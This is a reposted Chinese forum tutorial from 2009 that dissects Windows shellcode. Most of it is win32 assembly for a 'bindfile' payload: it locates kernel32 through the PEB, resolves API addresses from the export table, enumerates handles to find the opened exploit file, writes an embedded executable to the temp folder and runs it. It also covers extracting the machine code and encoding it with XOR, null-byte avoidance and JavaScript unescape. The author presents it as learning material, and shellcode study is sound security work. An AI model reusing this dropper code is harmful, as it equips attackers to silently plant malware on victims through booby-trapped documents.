zoukankan      html  css  js  c++  java
  • windows下的shellcode剖析浅谈[转自看雪]

    标 题: 【原创】windows下的shellcode剖析浅谈
    作 者: snowdbg
    时 间: 2009-10-06,11:12
    链 接: http://bbs.pediy.com/showthread.php?t=99007

      今天是中秋节,正好我的文章在今天基本完成,作为中秋礼物送给大家,由于本人水平有限希望大家多多批评指正!
    学习了好些日子了,思路总是乱乱的,这几天决定养成个好习惯,把自己学习的一些东西做一些总结写篇文章,以便归纳和总结,并从中能够更深刻更系统化的理解其技术原理。  今天,就从shellcode来下手吧!
      说到shellcode可能都有些迷茫,不知它是什么东西,可能觉得也很神秘,对于它的专业解释也很少有人提及,今天我们就从以下几个方面来对windows下的shellcode做一个全剖析:
    1.  shellcode的发展历史以及定义
    2.  现今常见的windows下的shellcode种类
    3.  动手编写一个简单的shellcode
    4.  shellcode的存在形式以及编码方式
    5.  exploit中的shellcode
    好了,下面我们就逐一来弄清楚这些问题吧!
    1.  shellcode的发展历史以及定义:
    对于shellcode的发展历史,failewest兄的《0day安全:软件漏洞分析技术》一书中讲的很明白,这里就引用一小段:
    “1996年,Aleph One在Underground发表了著名论文《SMASHING THE STACK FOR FUN AND PROFIT》,其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One演示了如何向进程中植入一段用于获得shell的代码,并在论文中称这段被植入进程的代码为’shellcode’。 

    后来人们干脆统一用shellcode这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框,也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等等。”

    其实,现在shellcode的应用也很广泛,甚至有些远程控制软件也把自己能做成一个shellcode形式,我们只要理解这个是溢出之后干坏事的一段代码。(文章中提及的shellcode也全是跟溢出相关的shellcode)
    2.  现今常见的windows下的shellcode种类
    这里,我就直接从功能上来分类:
    (1)  反弹端口类(shell)
    这是一个真正的原始意义上的shellcode,不得不讲
    (2)  下载并执行类(download&exec)
    这个是最简单的一类shellcode,在网马中的应用也最广泛
    (3)  生成并运行可执行文件类(bindfile)
    为什么会有这么一类shellcode呢?试想想,制造漏洞的坏人如果把前面两类shellcode绑定到一个应用软件exploit里面就会出现一些意外情况:
    a)  假如你的反弹行为被防火墙给拦截了怎么办?
    b)  假如对方的防范意识比较高打开doc、pdf之类的文件的时候总是把网断了再打开怎么办?
    哎~,早有坏人替我们想到了这些问题,他们把自己的exe也一并绑定到exploit中,shellcode的功能就是把exe释放出来,然后运行。(这个方法有点邪恶吧)
    3.  动手编写一个简单的shellcode
    好了,前面说了这么多废话,说一会也该练练了。
    这里为了方便讲解,我就选择用win32汇编来写吧。(当然我对c更熟悉些)前面两类shellcode的例子很多,这里我就着重介绍下bindfile类shellcode的编写。
    首先,让我们来理理思路,看图:
    名称:  1.JPG
查看次数: 1360
文件大小:  26.8 KB
    这个图是按shellcode的执行流程来画的,下面逐一来讲解。
    其实shellcode就是一段自主的而且功能完善的代码,不过里面不能直接调用API函数,因为它不是运行在编译器环境下,没有include来声明函数,更没有应用程序的函数表,所以,shellcode得自己想办法找到自己调用的API函数的地址,然后强行调用了。
    (1)  查找kernel32.dll基址:
    shellcode里面用的API函数一般都是与用户界面无关的,因为它要干坏事,一般都是偷偷的,所以它一般用的都是kernel32.dll里面的函数。所以,我们必须先找到kernel32的基址才能进一步找到各API的地址具体地址。
    关于获取api基址的方法很多,我这里就讲最简单的一种(这里面集合了众多高手的实践经验):
    利用PEB查找kernel32基址:
    代码:
    assume fs:nothing
      mov   eax,fs:[30h]
      test  eax,eax
      js  os_9x
    os_nt:  
      mov  eax,[eax+0ch]
      mov  esi,[eax+1ch]
      lodsd  
      mov   eax,[eax+8]
      jmp  k_finished
    os_9x:
      mov   eax,[eax+34h]
      mov  eax,[eax+7ch]
      mov  eax,[eax+3ch]
    k_finished:
      sub  esp,200
      mov  edi,esp
      mov  [edi+8],eax  ;获取kernel32地址
    
    可能上面这段代码大家看的不是很明白,现在画个示意图来看看:
    名称:  2.JPG
查看次数: 1348
文件大小:  14.8 KB
    至于为什么这里放的就是kernel32的基址呢,这需要感谢那些经验丰富的大牛了,ms本来就是这么设计的,但是要找到这么通用的方法可不简单。同时,代码里面也对9x系统进行了判断,相信大家可以通过上面的图看明白是什么意思。
    其实,还由几种思路非常清晰的动态查找方法,大家可以自己去找找相关的文章看看。我喜欢偷懒~
    (2)  查找API函数地址
    通过上面找到了kernel32的基址,但是我们如何得到具体的api函数地址呢?这里就需要涉及到pe文件格式了。这里我只讲解如何从dll文件中找出其函数引出表中的函数地址的方法:(班门弄斧了,见笑~)
    a.在kernel32基址+0x3c处获取e_lfanewc地址,即可以得到PE头
    b.在PE头偏移的0x78处得到函数引出表地址
    c.在引出表的0x1c偏移处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
    d. AddressOfFunctions和 AddressOfNames是函数地址和函数名通过AddressOfNameOrdinalse一一对应的两个数组
    e.是这样计算的:
    搜索AddressOfNames,确定“GetProcAddress”所对应的index;
      index = AddressOfNameOrdinalse [ index ];
    函数地址 = AddressOfFunctions [ index ];
    代码:
    代码:
    FindApi:      ;获取API函数地址子过程
      push  ebp
      push  edi
      mov  ebp,edi
      mov  ebx,esp
      add  ebx,8
      xor  edx,edx
      mov  eax,[ebp+8]
      add  eax,3ch    ;指向PE头部偏移值e_lfanew
      mov  eax,[eax]  ;取得e_lfanew值
      add  eax,[ebp+8]  ;指向PE header
      cmp  dword ptr[eax],4550h  ;判断是否为'PE'
      jne  NotFound  ;kernel32基址错误
      mov  [ebp+0ch],eax  ;保存PE文件头
      mov  eax,[eax+78h]
      add  eax,[ebp+8]
      mov  [ebp+0ch],eax  ;指向IMAGE_EXPORT_DIRECTORY
      mov  eax,[eax+20h]
      add  eax,[ebp+8]
      mov  [ebp+4],eax  ;保存函数名指针数组的指针值
      mov  ecx,[ebp+0ch]
      mov  ecx,[ecx+14h]
    FindLoop:
      
      push  ecx
      mov  eax,[eax]
      add  eax,[ebp+8]
      mov  esi,ebx
      add  esi,8
      mov  edi,eax
      mov  ecx,[ebx+4]
      cld
      repe  cmpsb
      jne  FindNext
      add   esp,4
      mov  eax,[ebp+0ch]
      mov  eax,[eax+1ch]
      add   eax,[ebp+8]
      shl  edx,2
      add  eax,edx
      mov  eax,[eax]
      add  eax,[ebp+8]
      jmp  Found
    FindNext:
      inc  edx
      add  dword ptr[ebp+4],4
      mov  eax,[ebp+4]
      pop  ecx
      loop  FindLoop
    NotFound:
      xor   eax,eax
    Found:
      pop  edi
      pop  ebp
      ret  
    
    (3)  定位exe文件数据
    API地址也找到了,现在剩下的就是实现功能,首先,想到的就是找到exe的数据在哪,然后我们把它ReadFile提出来然后CreateFile再WriteFile不就完了。但是,我们又面临以下两个问题:
    如何找到exe数据呢?
    这个问题很好回答,exe的数据就在我们的exploit文件中,接下来就有些难度了;
    如何定位exploit文件呢?
    我们可以考虑两种做法:
    一是知道exploit文件的路径,那样就可以用CreateFile来打开它,从而获取数据,不过这种做法还面临一个困难,如何得到exploit文件的路径,当然,办法还是有的;
    第二种方法就是找到exploit的文件句柄,这里先讨论一个逻辑关系,就是我们为什么可以利用这种方法,原因很简单,你的exploit其实已经打开了,只是你自己不知道它的句柄而已,这样,只要我们能群举出句柄,那么就可以直接通过句柄来读exploit里面的exe文件数据了。
    上面两种方法的优缺点显而易见,第二种方法通用性更强,第一种方法虽然可以用更加巧妙的方式来实现,但是难度相对较高,而且不容易理解,所以我就以第二种方法为例来介绍,即群举句柄法:
    代码:
      
      mov  dword ptr[edi+68h],1000h  ;设置exe文件长度exelen
      xor  esi,esi
    sHandle:
      inc  esi
      push  0
      push  esi
      call  dword ptr[edi+10h]
      cmp  eax,1536    ;exploit文件大小
      jne  sHandle
      mov  [edi+3ch],eax
      mov  [edi+40h],esi    ;根据文件大小群举有效句柄
    
    这里还要办的一件事就是,在ReadFile和Writefile的时候需要申请一个空间来存放exe文件数据,这就由GlobalAlloc和GlobalFree来负责解决这个问题了,这里就不需要详细解释了。
    代码:
    push  [edi+3ch]
      push  40
      call  dword ptr[edi+20h]
      mov  [edi+60h],eax        ;申请内存空间存储读取出来的exe文件数据
      
      mov   esi,esp
      add  esi,100h
      push  esi
      push  50h
      call  dword ptr[edi+18h]
      mov  ebx,esi
      mov  [edi+44h],esi
      add  ebx,eax  
      add  ebx,8
      mov  eax,esp
      mov  esp,ebx
      push  'e'
      push  'xe.a'
      sub   esp,8
      mov  esp,eax        ;获取临时文件夹路径,并追加exe文件名
    
      push  0
      push  2
      push  2
      push  0
      push  3
      push  40000000h
      mov  ebx,[edi+44h]
      push  ebx
      call  dword ptr[edi+1ch]    ;根据exe文件路径创建exe文件
      mov  [edi+48h],eax
      
      
      push  2
      push  0
      push  200
      push  dword ptr[edi+40h]
      call  dword ptr[edi+14h]    ;设置文件指针
      
      push  0
      lea  ebx,dword ptr[edi+64h]
      push  ebx
      push  dword ptr[edi+68h]
      push  dword ptr[edi+60h]
      push  dword ptr[edi+40h]
      call  dword ptr[edi+28h]    ;读取指定长度
      
      push  0
      lea  ebx,dword ptr[edi+64h]
      push  ebx
      push  dword ptr[edi+68h]
      push  dword ptr[edi+60h]
      push  dword ptr[edi+48h]
      call  dword ptr[edi+2ch]    ;将读取的exe文件数据写入exe文件中
    
    (4)  生成并运行exe
    这个就比较简单了,直接看代码:
    代码:
    mov  ebx,[edi+40h]
      call  dword ptr[edi+30h]    ;大功告成CloseHandle
    
      mov  ebx,[edi+48h]
      push  ebx
      call  dword ptr[edi+34h]  ;最终目标,运行exe文件
    
    (5)  打扫战场,闪人
    当然首先是要把前面申请的内存空间释放掉,然后用个exitprocess来结束这一切吧,一是留点善心,二是省事:
    代码:
    push  dword ptr[edi+60h]
    call  dword ptr[edi+24h]    ;清理战场GlobalFree
    push  0
    call  dword ptr[edi+38h]    ;exitprocess退出进程,以免进程卡死或报错
    
    4.  shellcode的自动提取
    上面写的shellcode是用汇编写的,我们不至于把它直接拷到exploit里面去执行吧,cpu认的是机器码,所以你控制了eip之后当然得把它指到cpu能识别的指令上去吧。所以,我们得把汇编转换成机器码,网上公开的方法很多,我这里介绍一种比较简便的方法吧:既然你是用汇编写的那么你的代码在.code段的内存中应该就直接是机器码了,只需要在开始和结尾打个标记,然后把它直接从那里导出来就完了。
    看代码:
    代码:
    .386
        .model flat, stdcall
        option casemap:none
    
    include    user32.inc
    include    kernel32.inc
    includelib  kernel32.lib
    includelib  user32.lib
    
        .data
    
    sc_out    db  'sc_out.txt',0
    exelen    dd  1000h
    
        .data?
    
    sc_start  dd  ?
    sc_end    dd  ?
    sc_len    dd  ?
    out_handle  dd  ?
    out_buff  dd  ?
    dwsize    dd  ?
    
        .code
    
    start:
    
      jmp scEnd;
      
    scStart:
            ……
    scEnd:
      mov  sc_start,scStart
      mov  sc_end,  scEnd
      mov  ebx,sc_end
      sub  ebx,sc_start
      mov  sc_len,ebx
    
      invoke  CreateFile,offset sc_out,40000000h,3,0,2,2,0
      mov  out_handle,eax
      
      lea  ebx,scStart
      mov  out_buff,ebx
      invoke  WriteFile,out_handle,out_buff,sc_len,addr dwsize,0
      
      invoke  CloseHandle,out_handle
        end start
    
    5.  exploit中的shellcode
    在exploit中,有时候由于隐蔽性、str的0x00断开限制、JavaScript等脚本中不同的字符串格式要求下,可能shellcode会需要以不同的形式来放到exploit中。下面逐一来说明:
    (1)  隐蔽性
    这个一般就是对shellcode进行简单的编码,比如异或等方式
    (2)  Str的0x00断开限制
    有时候shellcode是作为一个问题函数的参数被传入的,这个时候就必须考虑传入shellcode的完整性了,因为在字符串中往往0x00会将字符串断开,所以必须向办法在shellcode中避免0x00的出现
    (3)  JavaScript中的unescape
    在JavaScript中所有的变量基本都是以字符串的形式或者unescape的形式存在的,没有byte这种概念,因此对于一些诸如0x00,0x01等等这些非字符串是无法表示的,最好还是用它的unescape来存在,那么就必须把的shellcode转换成它的格式来放在exploit中了,这种多见于JavaScript溢出利用中。

    不知不觉写了这么多,由于本人的知识水平和表达能力有限,所以其中不免有错误之处,希望大家能够批评指正!
  • 相关阅读:
    leetcode 78. 子集 JAVA
    leetcode 91. 解码方法 JAVA
    leetcode 75. 颜色分类 JAVA
    leetcode 74 搜索二维矩阵 java
    leetcode 84. 柱状图中最大的矩形 JAVA
    last occurance
    first occurance
    classical binary search
    LC.234.Palindrome Linked List
    LC.142. Linked List Cycle II
  • 原文地址:https://www.cnblogs.com/feng801/p/1636835.html
Copyright © 2011-2022 走看看